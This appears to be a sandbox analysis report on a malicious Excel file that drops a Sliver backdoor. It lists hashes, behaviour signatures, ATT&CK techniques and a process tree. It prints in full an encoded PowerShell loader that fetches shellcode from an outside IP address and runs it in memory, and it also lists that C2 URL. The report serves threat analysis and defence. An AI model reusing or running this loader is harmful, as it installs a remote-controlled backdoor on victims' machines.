sliver | 416c42035307d738e5a22a29b54d0bf1064f1641bc26d3c66f669c8a7e129661

General

Target

416c42035307d738e5a22a29b54d0bf1064f1641bc26d3c66f669c8a7e129661.xls
Size

46KB
MD5

cfe66f70adb2cda0c842be4dfcbe0ca0
SHA1

af51a3c1918bc681c3eeb4bca19fd4ce5867116a
SHA256

416c42035307d738e5a22a29b54d0bf1064f1641bc26d3c66f669c8a7e129661
SHA512

a8d77ac90c423c8a0f36f3aef17aab42161d9a1dc0ed23350164ba754070b0ea0f63de0067091891408af1bc9de0ae64a714d3a53dfe844c491f3e5bfa595589
SSDEEP

768:f4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:gSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score

10^/10

sliver backdoor discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2696	2332	powershell.exe	30

Sliver RAT v2 1 IoCs

resource	yara_rule
behavioral1/memory/2696-45-0x00000000068E0000-0x000000000735E000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2696	powershell.exe
6	2696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2696	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2332	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2332	EXCEL.EXE
2332	EXCEL.EXE
2332	EXCEL.EXE
2332	EXCEL.EXE
2332	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2332 wrote to memory of 2696	2332	EXCEL.EXE	31
PID 2332 wrote to memory of 2696	2332	EXCEL.EXE	31
PID 2332 wrote to memory of 2696	2332	EXCEL.EXE	31
PID 2332 wrote to memory of 2696	2332	EXCEL.EXE	31
PID 2696 wrote to memory of 2612	2696	powershell.exe	33
PID 2696 wrote to memory of 2612	2696	powershell.exe	33
PID 2696 wrote to memory of 2612	2696	powershell.exe	33
PID 2696 wrote to memory of 2612	2696	powershell.exe	33
PID 2612 wrote to memory of 2768	2612	csc.exe	34
PID 2612 wrote to memory of 2768	2612	csc.exe	34
PID 2612 wrote to memory of 2768	2612	csc.exe	34
PID 2612 wrote to memory of 2768	2612	csc.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\416c42035307d738e5a22a29b54d0bf1064f1641bc26d3c66f669c8a7e129661.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xmml2d4j.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2612
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD25D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD25C.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabDEBD.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD25D.tmp

Filesize
1KB

MD5
cec62c4d26234fab9b04795803d49038

SHA1
e86396c07e6fb53b67369217af787e987cb2f5e6

SHA256
851367ad5c4a75f74356a3df926aaaefe990aecc79681b56784367942599a6b3

SHA512
2c215c12ef1d522acd898e40b4f403a11889455e3ec61e1ae1ade2d6e89d3a144d41dad54e8833a14db7c6d050b73fcfb9c2af0998e6dea40a12255b69a5dcf3

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmml2d4j.dll

Filesize
3KB

MD5
eae5ed39293850dcd82b3cadbbb4f2c0

SHA1
143c0f29ccd8bf8b66e0530785fb10c821ae1aae

SHA256
8f34e12a6a449dcb2c8f5b072a323cf0cdbadb4616cd56f0a9c444ce0ac2d97d

SHA512
9d2f9e97a95a2addf16d20b0ecc46f8302c0e905a652d0a64581f6ec74d951c4772b9a1c8b9df9c6002faeba8f34d92b567483c34d72f3622f7d7c3065848f76

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmml2d4j.pdb

Filesize
7KB

MD5
0c0575158641077fd590d3705ed8585a

SHA1
0b8323262b88123bcb52a4c222ede533cc9b9543

SHA256
8dc139885eab4f16e106e96f6e18defbe32b9890c0d4054718c9974831e83df7

SHA512
32afc90fe49f5a4386e83b415def89f2f1bb5a3e4ff3cc58328a53264ac30c27a8053eb02c02c41d403cd672660a504f7254b62b25a9ac1bce48d646f319ab0a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCD25C.tmp

Filesize
652B

MD5
50389dc25ca69757980a7ede28905580

SHA1
f55f58830fdcd3cb5ea2c1588ed73b42447feda2

SHA256
0039d2046e4362cfdb0eebbd85d19cfbff509737325cf49518d04aa567419941

SHA512
1e4f33c4bb26757762858fc3925857d4c65fe0bc1b0a7449114c85802275f499d9f2bcdef6c38ebb7b4e9c7b37ca3251491294a1f5498d1fe913c20ebf4045f2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xmml2d4j.0.cs

Filesize
631B

MD5
f4dd5c682eb7b3b679f084261bfc7c4c

SHA1
70f75d7a4e42c185eb09139ed3c6f7338a2219c2

SHA256
2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

SHA512
8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xmml2d4j.cmdline

Filesize
309B

MD5
b24a79aad84c820edd2713f2a7f8b04d

SHA1
3fd1e919cf28579de45ad7b7b34a1ab6333a8579

SHA256
102563ae85586a36e52ebdf54243a595c801f559881842903cd8bcfa56307975

SHA512
84c373624212c3354128976423ac7d1b8f769ee49fa4729ff2f81458ba2704729ed8936b7c4240c6640ddd0d52ef6865413e9e05fdc1e4a0973d73bf08bd9c00

Download Submit
memory/2332-1-0x0000000072C2D000-0x0000000072C38000-memory.dmp

Filesize
44KB

Download
memory/2332-8-0x0000000006370000-0x0000000006470000-memory.dmp

Filesize
1024KB

Download
memory/2332-9-0x0000000006370000-0x0000000006470000-memory.dmp

Filesize
1024KB

Download
memory/2332-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2332-43-0x0000000072C2D000-0x0000000072C38000-memory.dmp

Filesize
44KB

Download
memory/2332-44-0x0000000006370000-0x0000000006470000-memory.dmp

Filesize
1024KB

Download
memory/2696-45-0x00000000068E0000-0x000000000735E000-memory.dmp

Filesize
10.5MB

Download

Analysis

Sharing